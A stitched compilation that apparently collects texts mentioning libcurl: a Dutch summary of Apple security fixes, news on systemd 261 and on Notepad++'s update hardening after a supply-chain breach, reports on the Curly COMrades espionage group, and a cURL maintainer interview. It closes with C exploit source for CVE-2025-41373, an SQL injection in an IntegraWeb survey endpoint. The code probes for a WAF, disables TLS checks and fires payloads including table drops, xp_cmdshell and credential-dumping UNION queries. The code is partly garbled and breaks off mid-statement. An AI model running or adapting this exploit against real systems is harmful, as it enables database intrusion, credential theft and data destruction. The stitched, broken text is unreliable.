libcurl

Apple heeft meerdere kwetsbaarheden verholpen in iOS en iPadOS. De kwetsbaarheden betreffen onder andere onjuist geheugenbeheer zoals use-after-free, buffer overflows, out-of-bounds reads en writes, integer overflows, race conditions, en onvoldoende inputvalidatie. Deze fouten kunnen leiden tot onverwachte crashes, geheugenbeschadiging, het lekken van gevoelige gegevens zoals OAuth2 tokens en kernel geheugen, het omzeilen van sandboxbeperkingen, en in sommige gevallen het uitvoeren van arbitraire code. Bij libcurl kunnen OAuth2 bearer tokens bijvoorbeeld gelekt worden naar een tweede host tijdens HTTP(S) redirects in combinatie met .netrc bestand gebruik. In WebKitGTK kunnen kwaadaardig opgemaakte webcontent en bestanden leiden tot procescrashes, sandbox escapes, en datalekken. Diverse Apple besturingssystemen zijn getroffen door kwetsbaarheden die het mogelijk maken dat applicaties zonder juiste autorisatie toegang krijgen tot gevoelige gebruikersdata, contactinformatie, of systeembronnen. Er zijn ook problemen opgelost die het mogelijk maakten dat applicaties bestanden buiten hun sandbox konden lezen of verwijderen. De updates verbeteren de validatie van invoer, geheugenbeheer, en beveiligingscontroles om deze risico's te mitigeren.

The systemd 261 release brings a software TPM, new OS installer Linux distributions that ship systemd as their init system now have a new version to track. The systemd 261 update adds a cloud metadata subsystem, carries process state through kexec reboots, and continues a long-running effort to load external libraries on demand. Cloud metadata gets a local interface systemd 261 adds an IMDS subsystem for cloud instance metadata. A daemon, systemd-imdsd, provides a local Varlink API that gives programs access to instance metadata services. A hardware database file recognizes public clouds by their SMBIOS information and records how to reach metadata on each node. The recognized clouds include Amazon EC2, Microsoft Azure, Google Compute Engine, Hetzner, Oracle Cloud, Scaleway, Tencent Cloud, Alibaba ECS, and Vultr. A companion tool, systemd-imds, acts as a client and imports metadata fields into system credentials for later services to consume. Acquired metadata is measured before import. Operators can lock down network access to cloud metadata services through a build option. State survives a kexec reboot PID1 now supports the kernel’s Live Update Orchestration and Kexec Handover mechanisms when they are present and enabled. System units’ file descriptor stores can persist through a kexec, and units receive their stashed file descriptors back afterward where the kernel supports the descriptor type. Units enable this by setting FileDescriptorStorePreserve=yes. User session managers and systemd-nspawn containers gained matching support, letting user units and container payloads carry state across session restarts and kexec reboots. TPM and boot changes A new service, systemd-tpm2-swtpm.service, can run IBM’s swtpm as a software TPM for systems that lack physical hardware, gated behind a kernel command line option. A new condition, ConditionSecurity=measured-os, checks whether a system booted with measured-boot semantics. systemd-stub maintains a boot secret derived from a persistent EFI variable and passes it to the OS, for fallback codepaths where a local TPM is absent. systemd-boot now stores the prior boot loader binary as a fallback when installing a new version. Other additions A new component, systemd-sysinstall, implements a textual OS installer built on Varlink calls to systemd-repart, bootctl, and systemd-creds. systemd-sysupdate left experimental status and moved to /usr/bin/. systemd-oomd gained support for OOM rulesets. The manager exposes a ReloadCount property over D-Bus and Varlink. systemd-networkd added a DHCP relay backend and a networkctl command to dump acquired DHCP leases. Removals and dependency work Most external library linking now happens through dlopen(), covering libgnutls, libcurl, libcrypto, libssl, libcryptsetup, and others, leaving libc as the remaining direct external link. Support for udev’s database version 0 was removed, which ends support for live upgrades from releases older than v247. systemd-nspawn’s –user= option was renamed to –uid=, with the old form deprecated. The required musl version rose to 1.2.6 for builds that use it. The project plans to remove the /run/boot-loader-entries/ directory support and the experimental systemd-sysupdated D-Bus API in the 262 release. Must read: 25 open-source cybersecurity tools that don’t care about your budget GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!

Notepad++ secures update channel in wake of supply chain compromise Notepad++, the popular text and source code editor for Windows whose update mechanism was hijacked last year, has been updated to prevent similar attacks in the future. Security hardening of Notepad++ The hijacking of the update mechanism was confirmed earlier this month by Notepad++ maintainer Don Ho. The attackers were able to intercept communications between the updater client and the Notepad++ update servers, allowing them to deliver and run a malicious update in place of a legitimate one. The attack took advantage of several weaknesses: Before Notepad++ v8.8.8 (released on November 18, 2025), the XML file containing the download URL for the update was not signed, which allowed attackers to make the software’s auto-updater (WinGUp) download an update from a domain that’s not Notepad++’s GitHub repository Before Notepad++ v8.8.9 (released on December 9, 2025), WinGUp would not verify the code signing certificate and validate the signature on the downloaded installer before starting the update With Monday’s release of Notepad++ v8.9.2, the maintainer has implemented verification of the signed XML file that instructs the updater where to look for the update, thus finalizing the security hardening started in v8.8.8. The security enhancements of the update process introduced in v8.8.9 and v8.9.2 (Source: Notepad++) According to Ho, the verification of the signed XML and of the signed installer downloaded from github.com has made the Notepad++ update process “effectively unexploitable.” Alongside this major hardening, WinGUp has been further strengthened by removing the libcurl.dll dependency to eliminate DLL side-loading risk, disabling two insecure cURL SSL options, and restricting plugin management execution to programs signed with the same certificate as WinGUp. All Notepad++ users should upgrade to this latest version as soon as possible. Would-be users are urged to download the software only from the software’s official GitHub repository or from the software’s official page, because fake downloads of Notepad++ from spoofed Notepad++ websites are commonly used by cybercriminals to distribute a variety of malware. The Notepad++ supply chain compromise Notepad++’s supply chain compromise happened in June 2025, when the software project’s shared hosting server was hacked. The attackers lost access to it in early Septemeber 2025, when its kernel and firmware were updated, but they had the credentials for the project’s internal services on that server until early December 2025. Rapid7 and Kaspersky researchers analyzed the malicious update and execution chains mounted in the interim by the attackers, and found that they resulted in the installation of Cobalt Strike Beacon payloads and/or the Chrysalis bakcdoor to establish command and control communication. While it was initially believed that the attackers only targeted organizations in Southeast Asia and South America, Palo Alto Networks discovered that organizations in the US and Europe also received malicious updates. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

Notepad++ has released a security fix to plug gaps that were exploited by an advanced threat actor from China to hijack the software update mechanism to selectively deliver malware to targets of interest. The version 8.9.2 update incorporates what maintainer Don Ho calls a "double lock" design that aims to make the update process "robust and effectively unexploitable." This includes verification of the signed installer downloaded from GitHub (implemented in version 8.8.9 and later), as well as the newly added verification of the signed XML returned by the update server at notepad-plus-plus[.]org. In addition to these enhancements, security-focused changes have been introduced to WinGUp, the auto-updater component - Removal of libcurl.dll to eliminate DLL side-loading risk Removal of two unsecured cURL SSL options: CURLSSLOPT_ALLOW_BEAST and CURLSSLOPT_NO_REVOKE Restriction of plugin management execution to programs signed with the same certificate as WinGUp The update also addresses a high-severity vulnerability (CVE-2026-25926, CVSS score: 7.3) that could result in arbitrary code execution in the context of the running application. "An Unsafe Search Path vulnerability (CWE-426) exists when launching Windows Explorer without an absolute executable path," Ho said. "This may allow execution of a malicious explorer.exe if an attacker can control the process working directory. Under certain conditions, this could lead to arbitrary code execution in the context of the running application." The development comes weeks after Notepad++ disclosed that a breach at the hosting provider level enabled threat actors to hijack update traffic starting June 2025 and redirect requests from certain users to malicious servers to serve a poisoned update. The issue was detected in early December 2025. According to Rapid7 and Kaspersky, the tampered updates enabled the attackers to deliver a previously undocumented backdoor dubbed Chrysalis. The supply chain incident, tracked under the CVE identifier CVE-2025-15556 (CVSS score: 7.7), has been attributed to a China-nexus hacking group called Lotus Panda. The attack is assessed to have targeted individuals and organizations located in Vietnam, El Salvador, Australia, the Philippines, the U.S., South America, and Europe, spanning cloud hosting, energy, financial, government, manufacturing, and software development sectors, per data from Kaspersky and Palo Alto Networks Unit 42. Notepad++ users are recommended to update to version 8.9.2, and make sure that the installers are downloaded from the official domain.

Notepad++ has adopted a “double-lock” design for its update mechanism to address recently exploited security gaps that resulted in a supply-chain compromise. The new mechanism landed in Notepad++ version 8.9.2, announced yesterday, although work on it began in version 8.8.9 with implementing the verification of the signed installer from GitHub. The second part of the double-lock system is checking the signed XML from the notepad-plus-plus.org domain. In practice, this means that the XML file returned from the update service is digitally signed (XMLDSig). The combination of the two verification mechanisms adds to a more robust "and effectively unexploitable" update process, says the team behind the massively popular open-source text and source code editor. Additional security-oriented changes applied to the auto-updater include: Removal of libcurl.dll to eliminate DLL side-loading risk Removal of two unsecured cURL SSL options: CURLSSLOPT_ALLOW_BEAST and CURLSSLOPT_NO_REVOKE Restriction of plugin management execution to programs signed with the same certificate as WinGUp The new announcement also notes that users can exclude the auto-updater during UI installation or deploy the MSI package with: msiexec /i npp.8.9.2.Installer.x64.msi NOUPDATER=1 Earlier this month, Notepad++ and Rapid7 researchers disclosed that the update infrastructure was compromised in a six-month-long campaign attributed to Lotus Blossom, a threat group linked to China. Starting in June 2025, the bad actor compromised the hosting provider that ran the Notepad++ updater and selectively redirected update requests from specific users to malicious servers. The attacks exploited weak update verification controls used in older versions of the software, and continued until their discovery on December 2, 2025. Rapid7’s analysis revealed that the Chinese hackers used a custom backdoor called “Chrysalis” as part of the attack chain. Apart from the newly introduced security measures, the project immediately switched to a different hosting provider, rotated credentials, and fixed flaws exploited in the discovered attacks. The recommended action for all Notepad++ users is to upgrade to version 8.9.2, and ensure that installers are always downloaded from the official domain, notepad-plus-plus.org. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

The Russian hacker group Curly COMrades is abusing Microsoft Hyper-V in Windows to bypass endpoint detection and response solutions by creating a hidden Alpine Linux-based virtual machine to run malware. Inside the virtual environment, the threat actor hosted its custom tools, the CurlyShell reverse shell and the CurlCat reverse proxy, which enabled operational stealth and communication. Curly COMrades is a cyber-espionage threat group believed to be active since mid-2024. Its activities are closely aligned with Russian geopolitical interests. Bitdefender previously exposed Curly COMrades activities against government and judicial bodies in Georgia, as well as energy firms in Moldova. With the help of the Georgian CERT, the Romanian cybersecurity firm uncovered more about the threat actor's latest operation. The researchers found that in early July, after gaining remote access to two machines, Curly COMrades executed commands to enable Hyper-V and disable its management interface. Microsoft includes the Hyper-V native hypervisor technology that provides hardware virtualization capabilities in Windows (Pro and Enterprise) and Windows Server operating systems, allowing users to run virtual machines (VMs). "The attackers enabled the Hyper-V role on selected victim systems to deploy a minimalistic, Alpine Linux-based virtual machine. This hidden environment, with its lightweight footprint (only 120MB disk space and 256MB memory), hosted their custom reverse shell, CurlyShell, and a reverse proxy, CurlCat," Bitdefender explains in a report shared with BleepingComputer. By keeping the malware and its execution inside a virtual machine (VM), the hackers were able to bypass traditional host-based EDR detections, which lacked network inspection capabilities that could detect the threat actor's command and control (C2) traffic from the VM. Although relying on virtualization to evade detection is not a new technique, the fragmented coverage of security tools makes it an effective approach on networks that lack a holistic, multi-layered protection. In the Curly COMrades attacks, evasion was achieved by using the name 'WSL' for the VM, alluding to the Windows Subsystem for Linux feature in the operating system, in the hope of slipping unobserved. The Alpine Linux VM was configured in Hyper-V to use the Default Switch network adapter, which passed all the traffic through the host's network stack. "In effect, all malicious outbound communication appears to originate from the legitimate host machine's IP address," Bitdefender researchers explain. The two custom implants deployed in the VM are ELF binaries based on libcurl and are used for command execution and traffic tunneling: CurlyShell – Executes commands, runs inside the hidden Alpine VM and maintains persistence via a cron job. It runs in headless mode and connects to the command-and-control (C2) over HTTPS CurlCat – Companion tool used when tunneling is needed, invoked by the shell implant to create a covert SOCKS proxy back to the operator. It wraps SSH traffic into HTTPS requests, allowing network pivoting while blending with normal operations noise. While investigating the incidents, the researchers also discovered that Curly COMrades used two PowerShell scripts for persistence and pivoting to remote systems. "One was designed to inject a Kerberos ticket into LSASS, enabling authentication to remote systems and execution of commands," the researchers say. The second script was deployed through the Group Policy feature and created a local account across machines on the same domain. The researchers note that the sophistication level of the investigated Curly COMrades attacks reveal an activity tailored for stealth and operational security. The hackers encrypted the embedded payloads and abused PowerShell capabilities, which led to minimum forensic traces on the compromised hosts. Based on the observations in these attacks, Bitdefender suggests that organizations should monitor for abnormal Hyper-V activation, LSASS access, or PowerShell scripts deployed via Group Policy that trigger local account password resets, or creating new ones. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Behind the scenes of cURL with its founder: Releases, updates, and security In this Help Net Security interview, Daniel Stenberg, lead developer od cURL, discusses how the widely used tool remains secure across billions of devices, from cloud services to IoT. He shares insights into cURL’s decades-long journey of testing, reviewing, and refining its code to minimize risks. Stenberg also explains the team’s approach to handling vulnerabilities, ensuring transparency, and maintaining trust in the open-source ecosystem. cURL is embedded in billions of devices, from cloud services to IoT. What keeps you up at night when you think about the security of such a widely used tool? cURL’s journey and global adoption has been a gradual thing. As cURL has gotten more widely used, it has also become more tested, reviewed and scanned for problems by users and fellow developers. For decades we have worked on quality and have continuously been adding new tests and tweaking the architecture in order to reduce the risk that we introduce problems. We keep iterating and we keep tightening bolts all over and that is work that never ends. That background, combined with our test suite and CI setup with all its tooling is what makes me feel fairly confident that cURL is okay. I feel fine with having our code in billions of devices! I think customers and users feel safe and secure with running cURL in all these devices, services and tools because we have a proven track record since decades of taking these subjects seriously and of shipping rock solid products. Can you walk us through how your team handles a newly reported vulnerability, from discovery and verification to communicating fixes to downstream users? Every security report starts out with someone submitting an issue to us. The reporter tells us what they suspect and what the problem is. This report is kept private, visible only to the cURL security team and the reporter. In recent months we have gotten 3-4 security reports per week. The cURL security team right now consists of seven long time and experienced cURL maintainers. We immediately start to analyze and assess the received issue and its claims. Most reports do not identify security problems and are then quickly dismissed and closed. Some of them are identifying bugs that are not security issues and then we move the discussion over to the public bug tracker instead. If we think the issue might have merit, we ask follow-up questions, test reproducible code and discuss with the reporter. A small fraction of the reports is considered security vulnerabilities. We work together with the reporter to reach a good understanding of what exactly is required for the bug to trigger and what the flaw can lead to. Together we set a *severity* for the problem (low, medium, high, critical) and we work out a first patch which also helps to make sure we understand the issue. Unless the problem is deemed serious we tend to sync the publication of the new vulnerability with the pending next release. Our normal release cycle is eight weeks so we are never farther than 56 days away from the next release. For security issues we deem to be severity low or medium we create a pull request for the problem in the public repository but we don’t mention the security angle of the problem in the public communication of it. This way, we also make sure that the fix gets added test exposure and time to get polished before the pending next release. Over the last five or so years, only two in about eighty confirmed security vulnerabilities have been rated a higher severity than medium. Fixes for vulnerabilities we consider to be severity high or critical are instead merged into the git repository when there is approximately 48 hours left to the pending release to limit the exposure time before it is announced properly. We need to merge it into the public before the release because our entire test infrastructure and verification system is based on public source code. Next, we write up a detailed security advisory that explains the problem and exactly what the mistake is and how it can lead to something bad including all the relevant details we can think of. This includes version ranges for affected cURL versions and the exact git commits that introduced the problem as well as which commit that fixed the issue plus credits to the reporter and to the patch author etc. We have the ambition to provide the best security advisories you can find in the industry. (We also provide them in JSON format etc on the site for the rare few users who care about that.) We of course want the original reporter involved as well so that we make sure that we get all the angles of the problem covered accurately. As we are a CNA (CVE Numbering Authority), we reserve and manage CVE Ids for our own issues ourselves. About a week before the pending release when we also will publish the CVE, we inform the distros@openwall mailing list about the issue, including the fix, and when it is going to be released. It gives open source operating systems a little time to prepare their releases and adjust for the CVE we will publish. On the release day we publish the CVE details and we ship the release. We then also close the HackerOne report and disclose it to the world. We disclose all HackerOne reports once closed for maximum transparency and openness. We also inform all the cURL mailing lists and the oss-security mailing list about the new CVE. Sometimes we of course publish more than one CVE for the same release. The vulnerability reporter can then claim a bug bounty from the Internet Bug Bounty which pays the researcher a certain amount of money based on the severity level of the cURL vulnerability. Given how integral cURL is to other software, what steps are you taking to ensure the integrity of builds, libraries, and updates across such a massive ecosystem? With some exceptions we only ship source code. We then rely on operating system makers and everyone else to build, package and ship the binary versions of cURL and libcurl as they see fit. This makes us distro agnostic and also unaware and uncaring about the state and checks of dependencies, libraries and build systems etc. We work with signed commits, signed tags and we upload only signed release tarballs. The signatures can easily be verified. I generate the release tarballs on my local machine. To reduce the risk that this introduces something bad into the tarballs (if I go rogue or if someone has maliciously planted malware in my release machine), I build them fully reproducible using a fixed and documented container image everyone is encouraged to verify the release tarball and we also provide an easy-to-use script for doing so. The tarball verification makes sure that it was generated with the proper tools and only contains contents from the git repository. We have also in recent times worked on reducing the amount of binary and base64 encoded data in tests and example code, to further decrease the risk that someone can inject something encoded into the git repository xz-style. As a side-note I can perhaps mention that we only run read-only CI jobs, so a breached cloud instance cannot infect or spread to our source repository. Are there common mistakes you see developers make when using cURL or libcurl that lead to security issues? What best practices do you wish more people followed? Every time we have a confirmed security vulnerability we try to learn from it. What detail or habit made us make this specific mistake. It is usually hard to see patterns among them and not just a series of seemingly random mistakes. We have however identified a few things that have helped to contribute to previous vulnerabilities and we nowadays try to steer the code in ways that ideally help us avoid repeating them. For example we try hard to avoid direct memory function calls and instead offer a set of helper functions, we limit the places in the code where we do realloc(), we restrict the length of input strings to 8MB and we have a whole range of functions that are banned from use (gets, sprintf, sscanf, strncpy, strtol, etc). It is hard to be sure if our methods and precautions help. The average age of reported security vulnerabilities (the time they have existed in the source code since the mistake was first merged) is still about eight years! The primary method to maintain security is simply to do all the engineering steps we know we should: sensible and enforced code style, reviews, lots of tests, lots of CI, proper documentation so users know what to expect and how to behave, picky compiler warnings, warnings-as-errors, apply several source code analyzers and fix all nits, throw fuzzers at every API. If all projects that did this, we would be in a pretty good place. cURL is a volunteer-driven open-source project at its core. How do you foster a security-aware contributor community, and what advice do you have for other open-source maintainers facing similar challenges? Primarily I try to lead by example so that if and when contributors copy or mimic our style, it should be decent. I try to spread and share sensible concepts for how to think about and write code to make it as good as possible; often with review comments and sometimes with contributing helping additional commits to guide contributors, but also to make sure internal APIs and frameworks are comfortable and easy to use, and hard to get wrong. Our source code rules are checked and fundamental quality is enforced to a decent extent with automatic tools so people are gently nudged into doing the right thing to get their submissions turned green.

A new cyber-espionage threat group has been using a custom backdoor malware that provides persistent access through a seemingly inactive scheduled task. The threat actor's operations appear to support Russian interests by targeting government and judicial bodies in Georgia, and energy firms in Moldova. The attacker is currently tracked as Curly COMrades, has been active since mid-2024 and is using a custom three-stage malware component that researchers call MucorAgent. Curly COMrades attack chain In a report today, cybersecurity company Bitdefender describes MucorAgent as a "complex" piece of malware "engineered as a .NET stealthy tool capable of executing an AES-encrypted PowerShell script and uploading the resulting output to a designated server." The researchers named the threat actor Curly COMrades due to the heavy use of the curl.exe tool for data exfiltration and communicating with the command-and-control (C2) server, and because of hijacking Component Object Model (COM) objects during the attack. While no strong overlaps with known Russian APT groups have been found, the researchers say that the threat "group's operations align with the geopolitical goals of the Russian Federation." The researchers couldn't determine the initial access vector but observed the installation of multiple proxy agents, including the Go-based Resocks, across internal systems. Resocks is retrieved via curl.exe and registered as scheduled tasks or Windows services for persistence, communicating with the C2 via TCP 443 or 8443. For redundancy, the hackers also deploy custom SOCKS5 servers and SSH + Stunnel for remote port forwarding. Some SSH connections are routed through a custom tool, CurlCat, which uses the libcurl library and a custom Base64 alphabet to obfuscate traffic by relaying it through compromised legitimate websites. Inconsistent persitence mechanism Bitdefender notes that the persistence mechanism they discovered was an erratic one as it was achieved by hijacking CLSIDs to target NGEN (Native Image Generator). NGEN is a default Windows .NET Framework component for pre-compiling assemblies, and can offer persistence through a disabled scheduled task. However, even if the task appears inactive, the operating system enables and executes it at random intervals (e.g. idle times, when deploying a new app), the researchers explain. In some cases, the attackers also installed the legitimate Remote Utilities (RuRat) remote monitoring software to maintain interactive control. Additionally, they used the Remote Monitoring and Management (RMM) tool, a legitimate utility widely used by IT professionals to monitor, manage, and maintain client IT assets, such as servers, desktops, and mobile devices. Stealthy MucorAgent .NET backdoor The MucorAgent backdoor consists of three components, that can hijack a legitimate COM handler and load a second .NET stage that executes a component for bypassing the Antimalware Scan Interface (AMSI) in Windows. The third payload looks in specific locations for index.png and icon.png files, which are encrypted data blobs (likely scripts) downloaded from compromised websites. Acording to Bitdefender, the attacker collected valid credentials, likely in an attempt to move around the network, steal and exfiltrate data. They note that the threat actor "repeatedly tried to extract the NTDS database from domain controllers" and "attempted to dump LSASS memory from specific systems to recover active user credentials." Bitdefender also observed the execution of living-off-the-land commands like netstat, tasklist, systeminfo, wmic, and ipconfig, along with PowerShell Active Directory enumeration cmdlets, and batch scripts used for automation. Although Curly COMrades' operations were part of a larger espionage campaign, the researchers underline that the threat actor put in extensive effort to maintain their access to the target. Nevertheless, despite using LOLbins and open-source tools that blend well with regular traffic, and the smart persistence mechanism, the group's malicious moves still generated sufficient noise to be picked up by modern EDR/XDR sensors. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

/* * Author : Byte Reaper * CVE : CVE-2025-41373 * Vulnerability : SQL * Affected Path : /encuestas/integraweb_v4/integra/html/view/hislistadoacciones.php?idestudio= * Affected Versions : 2.1.2217.3 to v4.4.2236.1 * Description: * This endpoint concatenates the idestudio parameter directly into an SQL query * without proper sanitization or parameterization, allowing an attacker to inject * arbitrary SQL. We leverage both boolean-based and time-based techniques to detect. */ #include #include #include #include "argparse.h" #include #include #include #define FULL_URL 4300 int verbose = 0; int useC = 0; const char *url = NULL; const char *cookies = NULL; void sleepSyscall(void) { struct timespec sleepR; sleepR.tv_sec = 1; sleepR.tv_nsec = 0; asm volatile ( "mov $35, %%rax\n\t" "mov %0, %%rdi\n\t" "xor %%rsi, %%rsi\n\t" "syscall\n\t" : : "r" (&sleepR) : "rax", "rdi", "rsi", "rcx", "r11", "memory" ); } void exitAssembly(void ) { asm volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : : "rax", "rdi" ); } void uid(void) { const char *mes1 = "\e[1;36m[+] Run Exploit Root Successfully\e[0m\n"; size_t len1 = strlen(mes1); const char *mes2 = "\e[1;31m[-] Please Run Exploit In Root, Exit...\e[0m\n"; size_t len2 = strlen(mes2); asm volatile( "mov $107, %%rax\n\t" "syscall\n\t" "cmp $0, %%rax\n\t" "JZ .root\n\t" "jmp .not_root\n\t" ".root:\n\t" "mov $1, %%rax\n\t" "mov $1, %%rdi\n\t" "mov %[mes1], %%rsi\n\t" "mov %[len1], %%rdx\n\t" "syscall\n\t" "jmp .end\n\t" ".not_root:\n\t" "mov $1, %%rax\n\t" "mov $1, %%rdi\n\t" "mov %[mes2], %%rsi\n\t" "mov %[len2], %%rdx\n\t" "syscall\n\t" ".end:\n\t" : : [mes1] "r" (mes1), [len1] "r" (len1), [mes2] "r" (mes2), [len2] "r" (len2) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); } const char *payload[] = { "' OR '1'='1", "\" OR \"1\"=\"1", "' OR 1=1 --", "\" OR 1=1 --", "' OR '1'='1' --", "' OR 1=1#", "' OR 1=1/*", "admin'--", "admin' #", "admin'/*", "' OR 1=1-- -", "' OR/**/1=1--", "'//OR//1=1#", "' OR%%201=1--", "' OR%%091=1--", "' OR%0a1=1--", "' OR%%0b1=1--", "' oR 1=1--", "' Or 1=1--", "' oR/**/1=1--", "' OR 0x31=0x31--", "1; DROP TABLE users --", "1; EXEC xp_cmdshell('dir') --", "UNION SELECT NULL,NULL,NULL --", "UNION SELECT username,password FROM users --", "' UNION SELECT NULL,NULL,NULL --", "' UNION SELECT NULL,NULL,NULL#", ",(select * from (select(sleep(4)))a)", "';WAITFOR DELAY '0:0:4'--", NULL }; const char *word[] = { "SQL syntax", "syntax error", "mysql_fetch", "mysql_num_rows", "You have an error in your SQL syntax", "Warning: mysql", "Warning: pg_", "Unclosed quotation mark", "Microsoft OLE DB Provider for SQL Server", "Microsoft SQL Native Client error", "ODBC SQL Server Driver", "ORA-01756", "ORA-00933", "SQLSTATE", "PDOException", "invalid query", "mysql_numrows()", "mysql_result()", "mysql_query()", "Query failed", "Syntax error", "DB error", "error in your SQL syntax", "Unexpected end of SQL command", "Incorrect syntax near", "user", "admin", NULL }; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitAssembly(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void clean(char *buffer, size_t len, CURL *curl,char *encode ) { free(buffer); buffer = NULL; len = 0; curl_easy_cleanup(curl); curl_free(encode); } int waf = 0; int wafD(const char *urlW) { CURL *curl = curl_easy_init(); CURLcode res; struct Mem wafServer; wafServer.buffer= NULL; wafServer.len = 0; const char *payloadSql = "OR 1=1 --"; char *encode = curl_easy_escape(curl, payloadSql, strlen(payloadSql)); char full[FULL_URL]; if (!encode) { printf("\e[1;31m[-] Error Encode Payload !\e[0m\n"); clean(wafServer.buffer, wafServer.len, curl, encode); exitAssembly(); } int len = snprintf(full, sizeof(full), "%s/encuestas/integraweb_v4/integra/html/view/hislistadoacciones.php?idestudio=%s", urlW, encode); if (len = sizeof(full)) { printf("\e[1;31m[-] FULL URL Is Long \n"); clean(wafServer.buffer, wafServer.len,curl,encode); exitAssembly(); } if (curl == NULL || !curl) { printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n"); clean(wafServer.buffer, wafServer.len, curl, encode); exitAssembly(); } int result = 0; if (curl) { printf("\e[1;35m===========================================================================================\e[0m\n"); printf("\e[1;35m[+] Scan WAF Start...\e[0m\n"); printf("\e[1;37m[+] FULL URL : %s\e[0m\n", full); curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &wafServer); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepSyscall(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *h = NULL; h = curl_slist_append(h, "User-Agent: sqlmap"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); res = curl_easy_perform(curl); curl_slist_free_all(h); double timeWaf = 0; if (res == CURLE_OK) { int a = 0; int b =1; int c = 3; int d = 4; long code; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeWaf); printf("\e[1;36m[+] Check Http Code...\e[0m\n"); printf("\e[1;32m[+] Http Code => %ld\e[0m\n", code); if (code == 500 || code == 403 || code == 406) { printf("\e[1;35m---------------------------------------\e[0m\n"); printf("\e[1;34m[+] Http Code (500, 403, 406) ! \e[0m\n"); printf("\e[1;34m[+] Waf Detect (Page Not Found) \e[0m\n"); printf("\e[1;35m--------------------------------------\e[0m\n"); a = 1; } else { printf("\e[1;31m[-] Not Detected Waf (HTTP CODE) !\e[0m\n"); } printf("\e[1;36m[+] Check Response Server (NULL)\e[0m\n"); const char *wordWaf[] = { "cloudflare", "sucuri", "mod_security", "incapsula", "akamai", "f5-big-ip", "waf", "firewall", "blocked", "access denied", "forbidden", "security", "protected by", "request rejected", "webshield", "ddos protection", "intrusion prevention", "proxy server", "bot detection", "deny", "you have been blocked", "unauthorized", "client blocked", "blocked by firewall", "bad request", "threat", "filtering", "deny access", "rule id", NULL }; if (code >= 200 && code = 3.0) { printf("\e[1;34m[+] Suspicious delay in response: %.2f sec\e[0m\n", timeWaf); } else { printf("\e[1;31m[-] Not Detect Waf (Time) !\e[0m\n"); } printf("\e[1;35m==========================\e[0m\n"); printf("\e[1;33m[+] Result Scan : \e[0m\n"); if (a || b || c || d) { printf("\e[1;31m[-] Waf Detected \e[0m\n"); result = 0; } else { printf("\e[1;34m[+] Not Detect Waf !\e[0m\n"); result =1; } printf("\e[1;35m===========================================================================================\e[0m\n"); } else { printf("\e[1;31m[-] No connection reset error.\e[0m\n"); printf("\e[1;31m[-] Error Send Request, Please Check Your Connection !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); } } curl_easy_cleanup(curl); free(wafServer.buffer); wafServer.buffer = NULL; wafServer.len = 0; return result; } void httpRequest(const char *url) { CURL *curl = curl_easy_init(); struct Mem response; CURLcode res; response.buffer =NULL; response.len = 0; if (!curl || curl == NULL) { printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n"); printf("\e[1;31m[-] Please Check Your Connection\e[0m\n"); exitAssembly(); } int y = 0; if (curl) { printf("\e[1;34m[+] Create CURL Successfully\e[0m\n"); for (int pL = 0; payload[pL] != NULL; pL++) { char full[FULL_URL]; char *encodePayload = curl_easy_escape(curl, payload[pL], strlen(payload[pL])); if (!encodePayload) { printf("\e[1;31m[-] Error Encode Payload !\e[0m\n"); clean(response.buffer, response.len, curl, encodePayload); exitAssembly(); } int lenF = snprintf(full, sizeof(full), "%s/encuestas/integraweb_v4/integra/html/view/hislistadoacciones.php?idestudio=%s", url,encodePayload); if (lenF = sizeof(full)) { printf("\e[1;31m[-] FULL URL is LONG ! \n"); clean(response.buffer, response.len, curl, encodePayload); exitAssembly(); } printf("\e[1;37m[+] Encode Payload : %s\e[0m\n", encodePayload); printf("\e[1;37m[+] Base URL : %s\e[0m\n", url); printf("\e[1;37m[+] Full URL : %s\e[0m\n", full); char ip[256]; if (sscanf(full, "http://%255[^/]/encuestas/", ip) == 1) { printf("\e[1;37m[+] target Ip / Domain : %s\e[0m\n", (char *)ip); y = 1; } else { printf("\e[1;31m[-] Error Get Target Ip In FULL URL !\e[0m\n"); y = 0; } curl_easy_setopt(curl, CURLOPT_URL, full); if (useC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, 